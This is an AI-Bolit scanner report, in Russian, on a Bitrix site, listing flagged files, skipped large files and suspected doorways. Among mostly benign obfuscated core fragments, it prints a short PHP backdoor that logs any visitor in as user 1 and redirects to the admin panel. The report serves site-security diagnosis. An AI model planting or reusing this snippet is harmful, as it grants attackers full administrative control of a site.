Отчет сканера AI-Bolit v20190226-2242: /var/www/www-root/data/www/mamochka-club.com/ (1/1)
Сканер бесплатный только для личного некоммерческого использования. Информация по коммерческой лицензии (пункт №11). Авторское свидетельство о гос. регистрации в РосПатенте №2012619254 от 12 октября 2012 г.
Затрачено времени: 28 m . Сканирование начато 17-10-2019 в 19:57:27, сканирование завершено 17-10-2019 в 20:26:20
Всего проверено 56523 директорий и 50632 файлов. Использовано памяти при сканировании: 38.04 Mb.
Сводный отчет
Вредоносных скриптов27
Пропущенных больших файлов26
Обращаем внимание, что обнаруженные файлы не всегда являются вирусами и хакерскими скриптами. Сканер минимизирует число ложных обнаружений, но это не всегда возможно, так как найденный фрагмент может встречаться как во вредоносных скриптах, так и в обычных.

Для диагностического сканирования без ложных срабатываний мы разработали специальную версию сканера для хостинг-компаний.

Внимание! Наш сканер обнаружил подозрительный или вредоносный код.

Возможно, ваш сайт был взломан. Рекомендуем срочно проконсультироваться со специалистами по данному отчету.


Рекомендуем также проверить сайт бесплатным онлайн-сканером ReScan.Pro.


Не оставляйте файл отчета на сервере, и не давайте на него прямых ссылок с других сайтов. Информация из отчета может быть использована злоумышленниками для взлома сайта, так как содержит информацию о настройках сервера, файлах и каталогах.
Наши продукты:
Критические замечания
Эти файлы могут быть вредоносными или хакерскими скриптами (27)
ПутьИзменение свойствИзменение содержимогоРазмерCRC32
[x] BIG FILE. SKIPPED.
09/09/2019 17:39:19
19/07/2018 16:09:48
691.07 Kb
0169bf840559142a34c797f2e9f95f0d36dfa796
x
1532005788
id_big_1
[x] 1…cal::GetList(array(),array('ACTIVE'=>'Y'));while($arRes=$rsData->Fetch())$params[]=$arRes;foreach($params as$key=>$val){ if(preg_match(stripslashes($val['RULE']),$originURL[1],$preg)&&(empty($val['FILE']) ||$val['FILE']==$originURL[0])) uns
09/09/2019 17:39:15
16/02/2017 10:00:36
1.57 Kb
9ce6ee3a92044aa32bd2eac848f8cfb2ec7bcea6
x
1487228436
id_2797e511
[x] BIG FILE. SKIPPED.
09/09/2019 17:39:12
19/07/2018 16:09:53
691.07 Kb
f09b232517a944ecd2655636e2ae98b411a745d4
x
1532005793
id_big_1
[x] 1<?namespace Bitrix\Landing; $GLOBALS['____209855724']=array('define','explode','pack','md5','constant','hash_hmac','strcmp','explode','mktime','tim
09/09/2019 17:39:12
19/07/2018 16:10:41
9.61 Kb
fb39e92add4622c0a53db9272e0f0966dac60b58
x
1532005841
id_93e67a24
[x] BIG FILE. SKIPPED.
09/09/2019 17:39:10
19/07/2018 16:06:57
800.25 Kb
6f4ae9bc6b2f01a0a5bfba52a1a37c06cf84f9d6
x
1532005617
id_big_1
[x] BIG FILE. SKIPPED.
09/09/2019 17:39:08
19/07/2018 16:03:50
1.43 Mb
95f9b11572d5cf3983cee2a9aa9701db82d514ca
x
1532005430
id_big_1
[x] BIG FILE. SKIPPED.
09/09/2019 17:39:08
19/07/2018 16:03:49
1,019.62 Kb
f61fdbc8a103119e295a51006caabfaae7b8497c
x
1532005429
id_big_1
[x] BIG FILE. SKIPPED.
09/09/2019 17:39:08
19/07/2018 16:03:49
747.59 Kb
2cde4ec4b8db7a95336a871933992b7e38374b26
x
1532005429
id_big_1
[x] BIG FILE. SKIPPED.
09/09/2019 17:39:09
19/07/2018 16:03:48
858.74 Kb
6ef5f7d5db0a64c7dcdddb8bfb4a8b05c20f1ea6
x
1532005428
id_big_1
[x] 1…ERVER["DOCUMENT_ROOT"].BX_ROOT."/modules/main/ajax_tools.php"); /*ZDUyZmZNWIzNTY3NDVhNTZkNTNjYjJhMzhjYmE0NTk1YzU4MjI=*/ $GLOBALS['____1906124389']=array(base64_decode('ZGVmaW5l'));if(!function_exists(__NAMESPACE__.'\\___1499763633')){func
09/09/2019 17:39:12
19/07/2018 16:08:11
22.80 Kb
0f15bf3c77dcfcd00d9e652cfad48d8ce06aa2ad
x
1532005691
id_93e67a24
[x] 1<? $GLOBALS['_____136113056']=array('IncludeModuleLangFile','GetModuleEvents','ExecuteModuleEventEx');$GLOBALS['____403483
09/09/2019 17:39:12
28/08/2018 14:14:26
249.29 Kb
0dda3442c05a3aee3130e76e08540ca79496b341
x
1535454866
id_93e67a24
[x] BIG FILE. SKIPPED.
09/09/2019 17:39:13
19/07/2018 15:59:36
1.27 Mb
3b4f79145c78becb0b20f90788e66a8f27f9148f
x
1532005176
id_big_1
[x] BIG FILE. SKIPPED.
09/09/2019 17:39:13
19/07/2018 15:59:36
672.19 Kb
146c2d9d285694030bf5c8c1fbfde1ca07c8bf4f
x
1532005176
id_big_1
[x] BIG FILE. SKIPPED.
09/09/2019 17:39:13
19/07/2018 15:59:34
721.46 Kb
2ccb9c82e1836d0cd64e4e7bdb1214399ac90f1e
x
1532005174
id_big_1
[x] BIG FILE. SKIPPED.
09/09/2019 17:39:05
19/07/2018 16:06:56
800.25 Kb
756048568f4d18f72d2ffd8ae174dc72493c281b
x
1532005616
id_big_1
[x] BIG FILE. SKIPPED.
09/09/2019 17:39:06
19/07/2018 15:59:30
1.27 Mb
3b4f79145c78becb0b20f90788e66a8f27f9148f
x
1532005170
id_big_1
[x] BIG FILE. SKIPPED.
09/09/2019 17:39:06
19/07/2018 15:59:31
672.19 Kb
146c2d9d285694030bf5c8c1fbfde1ca07c8bf4f
x
1532005171
id_big_1
[x] BIG FILE. SKIPPED.
09/09/2019 17:39:05
19/07/2018 15:59:28
721.46 Kb
2ccb9c82e1836d0cd64e4e7bdb1214399ac90f1e
x
1532005168
id_big_1
[x] 1<?require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_before.php");global$USER; $USER->Authorize(1);LocalRedirect("https://mamochka-club.com/bitrix/admin/");?
09/09/2019 17:37:00
28/08/2018 09:38:15
188 b
c74ef1afd0db5d79a0fd0cb0a9c71f9b3fd86008
x
1535438295
id_a89027da
[x] BIG FILE. SKIPPED.
11/10/2019 10:40:27
11/10/2019 10:40:27
912.86 Kb
180fdbf6752abe6b878f5e465c66932ed76652e7
x
1570779627
id_big_1
[x] BIG FILE. SKIPPED.
09/10/2019 06:59:30
09/10/2019 06:59:30
1.06 Mb
110604ea11ea7ca0fdb5b851f88256cf07cb588f
x
1570593570
id_big_1
[x] BIG FILE. SKIPPED.
09/10/2019 07:51:09
09/10/2019 07:51:09
1.06 Mb
67f199f828d0f0ab5467bbcd1b28c0d766154f43
x
1570596669
id_big_1
[x] BIG FILE. SKIPPED.
09/09/2019 17:39:02
19/07/2018 16:03:48
1.43 Mb
95f9b11572d5cf3983cee2a9aa9701db82d514ca
x
1532005428
id_big_1
[x] BIG FILE. SKIPPED.
09/09/2019 17:39:02
19/07/2018 16:03:48
1,019.62 Kb
f61fdbc8a103119e295a51006caabfaae7b8497c
x
1532005428
id_big_1
[x] BIG FILE. SKIPPED.
09/09/2019 17:39:02
19/07/2018 16:03:48
747.59 Kb
2cde4ec4b8db7a95336a871933992b7e38374b26
x
1532005428
id_big_1
[x] BIG FILE. SKIPPED.
09/09/2019 17:39:03
19/07/2018 16:03:47
858.74 Kb
6ef5f7d5db0a64c7dcdddb8bfb4a8b05c20f1ea6
x
1532005427
id_big_1
[x] BIG FILE. SKIPPED.
09/09/2019 17:39:17
19/07/2018 16:10:24
691.07 Kb
f09b232517a944ecd2655636e2ae98b411a745d4
x
1532005824
id_big_1
Предупреждения
Дорвеи, реклама, спам-ссылки, редиректы
ПутьИзменение свойствИзменение содержимогоРазмерCRC32
1…["DETAIL_TEXT_TYPE"]=="file"):?><iframe width="100%" height="500" src="<?php echo$arElement["LAUNCH"]?>" frameborder="0" ></iframe><?php else:?><?=$arElement["DETAIL_TEXT"]?><?php endif?><div class="page-break"></div><?endforeach;?></div><?
09/09/2019 17:39:12
24/01/2015 09:46:21
1.71 Kb
d0cf83c6939e53bec7f4fb08fef31fe9e8ce7ef2
x
1422081981
id_z7698643
1…log_admin_before.php");if(!$USER->CanDoOperation('edit_php')){$APPLICATION->AuthForm(GetMessage("ACCESS_DENIED"));}else{ phpinfo();}?
09/09/2019 17:39:12
26/09/2007 13:34:14
204 b
3de4d48a050d233c344ad5b4be60ef4f15d4498f
x
1190799254
id_z8635065
1…["DETAIL_TEXT_TYPE"]=="file"):?><iframe width="100%" height="500" src="<?php echo$arElement["LAUNCH"]?>" frameborder="0" ></iframe><?php else:?><?=$arElement["DETAIL_TEXT"]?><?php endif?><div class="page-break"></div><?endforeach;?></div><?
09/09/2019 17:39:01
24/01/2015 09:46:21
1.71 Kb
d0cf83c6939e53bec7f4fb08fef31fe9e8ce7ef2
x
1422081981
id_z3648750
1RemoveHandler.phtml.php.php3.php4.php5.php6.phps.cgi.exe.pl.asp.aspx.shtml.shtm.fcgi.fpl.jsp.htm.html.wml AddType application/x-httpd-php-source.phtml.php.php3.php4.php5.php6.phps.cgi.exe.pl.asp.aspx.shtml.shtm.fcgi.fpl.jsp.h
09/09/2019 17:39:21
22/07/2013 20:56:20
279 b
d45a45580288a85709fc3cbe3e3a0a650978a7e3
x
1374512180
id_z2731667
1RemoveHandler.phtml.php.php3.php4.php5.php6.phps.cgi.exe.pl.asp.aspx.shtml.shtm.fcgi.fpl.jsp.htm.html.wml AddType application/x-httpd-php-source.phtml.php.php3.php4.php5.php6.phps.cgi.exe.pl.asp.aspx.shtml.shtm.fcgi.fpl.jsp.h
09/09/2019 17:39:23
22/07/2014 15:19:20
279 b
d45a45580288a85709fc3cbe3e3a0a650978a7e3
x
1406027960
id_z1080287
1RemoveHandler.phtml.php.php3.php4.php5.php6.phps.cgi.exe.pl.asp.aspx.shtml.shtm.fcgi.fpl.jsp.htm.html.wml AddType application/x-httpd-php-source.phtml.php.php3.php4.php5.php6.phps.cgi.exe.pl.asp.aspx.shtml.shtm.fcgi.fpl.jsp.h
09/09/2019 17:39:23
22/07/2014 15:19:18
279 b
d45a45580288a85709fc3cbe3e3a0a650978a7e3
x
1406027958
id_z8819619
1RemoveHandler.phtml.php.php3.php4.php5.php6.phps.cgi.exe.pl.asp.aspx.shtml.shtm.fcgi.fpl.jsp.htm.html.wml AddType application/x-httpd-php-source.phtml.php.php3.php4.php5.php6.phps.cgi.exe.pl.asp.aspx.shtml.shtm.fcgi.fpl.jsp.h
09/09/2019 17:39:23
22/07/2014 15:19:08
279 b
d45a45580288a85709fc3cbe3e3a0a650978a7e3
x
1406027948
id_z7519705
1RemoveHandler.phtml.php.php3.php4.php5.php6.phps.cgi.exe.pl.asp.aspx.shtml.shtm.fcgi.fpl.jsp.htm.html.wml AddType application/x-httpd-php-source.phtml.php.php3.php4.php5.php6.phps.cgi.exe.pl.asp.aspx.shtml.shtm.fcgi.fpl.jsp.h
09/09/2019 17:39:23
22/07/2014 15:19:19
279 b
d45a45580288a85709fc3cbe3e3a0a650978a7e3
x
1406027959
id_z2326181
1RemoveHandler.phtml.php.php3.php4.php5.php6.phps.cgi.exe.pl.asp.aspx.shtml.shtm.fcgi.fpl.jsp.htm.html.wml AddType application/x-httpd-php-source.phtml.php.php3.php4.php5.php6.phps.cgi.exe.pl.asp.aspx.shtml.shtm.fcgi.fpl.jsp.h
09/09/2019 17:39:21
22/07/2013 20:56:20
279 b
d45a45580288a85709fc3cbe3e3a0a650978a7e3
x
1374512180
id_z6278479
1RemoveHandler.phtml.php.php3.php4.php5.php6.phps.cgi.exe.pl.asp.aspx.shtml.shtm.fcgi.fpl.jsp.htm.html.wml AddType application/x-httpd-php-source.phtml.php.php3.php4.php5.php6.phps.cgi.exe.pl.asp.aspx.shtml.shtm.fcgi.fpl.jsp.h
09/09/2019 17:39:21
22/07/2013 20:56:20
279 b
d45a45580288a85709fc3cbe3e3a0a650978a7e3
x
1374512180
id_z3498077
1RemoveHandler.phtml.php.php3.php4.php5.php6.phps.cgi.exe.pl.asp.aspx.shtml.shtm.fcgi.fpl.jsp.htm.html.wml AddType application/x-httpd-php-source.phtml.php.php3.php4.php5.php6.phps.cgi.exe.pl.asp.aspx.shtml.shtm.fcgi.fpl.jsp.h
09/09/2019 17:39:23
22/07/2013 20:56:20
279 b
d45a45580288a85709fc3cbe3e3a0a650978a7e3
x
1374512180
id_z1990729
Большие файлы (больше чем 650.00 Kb). Пропущено
ПутьИзменение свойствИзменение содержимогоРазмерCRC32
09/09/2019 17:39:19
19/07/2018 16:09:48
691.07 Kb
0169bf840559142a34c797f2e9f95f0d36dfa796
x
1532005788
id_z7476098
09/09/2019 17:39:12
19/07/2018 16:09:53
691.07 Kb
f09b232517a944ecd2655636e2ae98b411a745d4
x
1532005793
id_z7752243
09/09/2019 17:39:10
19/07/2018 16:06:57
800.25 Kb
6f4ae9bc6b2f01a0a5bfba52a1a37c06cf84f9d6
x
1532005617
id_z4591811
09/09/2019 17:39:08
19/07/2018 16:03:50
1.43 Mb
95f9b11572d5cf3983cee2a9aa9701db82d514ca
x
1532005430
id_z8466827
09/09/2019 17:39:08
19/07/2018 16:03:49
1,019.62 Kb
f61fdbc8a103119e295a51006caabfaae7b8497c
x
1532005429
id_z7056107
09/09/2019 17:39:08
19/07/2018 16:03:49
747.59 Kb
2cde4ec4b8db7a95336a871933992b7e38374b26
x
1532005429
id_z6949735
09/09/2019 17:39:09
19/07/2018 16:03:48
858.74 Kb
6ef5f7d5db0a64c7dcdddb8bfb4a8b05c20f1ea6
x
1532005428
id_z6510129
09/09/2019 17:39:13
19/07/2018 15:59:36
1.27 Mb
3b4f79145c78becb0b20f90788e66a8f27f9148f
x
1532005176
id_z1491118
09/09/2019 17:39:13
19/07/2018 15:59:36
672.19 Kb
146c2d9d285694030bf5c8c1fbfde1ca07c8bf4f
x
1532005176
id_z7976659
09/09/2019 17:39:13
19/07/2018 15:59:34
721.46 Kb
2ccb9c82e1836d0cd64e4e7bdb1214399ac90f1e
x
1532005174
id_z3154763
09/09/2019 17:39:05
19/07/2018 16:06:56
800.25 Kb
756048568f4d18f72d2ffd8ae174dc72493c281b
x
1532005616
id_z1714362
09/09/2019 17:39:06
19/07/2018 15:59:30
1.27 Mb
3b4f79145c78becb0b20f90788e66a8f27f9148f
x
1532005170
id_z7676027
09/09/2019 17:39:06
19/07/2018 15:59:31
672.19 Kb
146c2d9d285694030bf5c8c1fbfde1ca07c8bf4f
x
1532005171
id_z4704502
09/09/2019 17:39:05
19/07/2018 15:59:28
721.46 Kb
2ccb9c82e1836d0cd64e4e7bdb1214399ac90f1e
x
1532005168
id_z8949228
09/09/2019 17:37:47
16/04/2019 11:55:49
1.00 Gb
74e85cdfd1bbafa4838f834dc7cfb7b5280012bf
x
1555404949
id_z5814112
09/09/2019 17:37:11
26/02/2019 19:01:43
1.00 Gb
ff42dfc527595b615afe4163bc88b5b349c7b10f
x
1551196903
id_z4762546
09/09/2019 17:38:25
12/06/2019 18:06:04
1.00 Gb
ff42dfc527595b615afe4163bc88b5b349c7b10f
x
1560351964
id_z1519493
11/10/2019 10:40:27
11/10/2019 10:40:27
912.86 Kb
180fdbf6752abe6b878f5e465c66932ed76652e7
x
1570779627
id_z6476273
09/10/2019 06:59:30
09/10/2019 06:59:30
1.06 Mb
110604ea11ea7ca0fdb5b851f88256cf07cb588f
x
1570593570
id_z1660694
09/10/2019 07:51:09
09/10/2019 07:51:09
1.06 Mb
67f199f828d0f0ab5467bbcd1b28c0d766154f43
x
1570596669
id_z7124568
09/09/2019 17:39:02
19/07/2018 16:03:48
1.43 Mb
95f9b11572d5cf3983cee2a9aa9701db82d514ca
x
1532005428
id_z2447183
09/09/2019 17:39:02
19/07/2018 16:03:48
1,019.62 Kb
f61fdbc8a103119e295a51006caabfaae7b8497c
x
1532005428
id_z3804413
09/09/2019 17:39:02
19/07/2018 16:03:48
747.59 Kb
2cde4ec4b8db7a95336a871933992b7e38374b26
x
1532005428
id_z4559133
09/09/2019 17:39:03
19/07/2018 16:03:47
858.74 Kb
6ef5f7d5db0a64c7dcdddb8bfb4a8b05c20f1ea6
x
1532005427
id_z1452579
09/09/2019 17:39:17
19/07/2018 16:10:24
691.07 Kb
f09b232517a944ecd2655636e2ae98b411a745d4
x
1532005824
id_z4646774
17/10/2019 16:26:29
17/10/2019 16:26:29
31.37 Mb
d40d86671eafc3e2ad68c165f09e752287adc104
x
1571318789
id_z1628762
Подозрение на дорвей
ПутьИзменение свойствИзменение содержимогоРазмерCRC32
-
-
-
x
id_z5254776
-
-
-
x
id_z3332731
-
-
-
x
id_z3906346
-
-
-
x
id_z4721603
Версии найденных CMS
Bitrix v18.0.2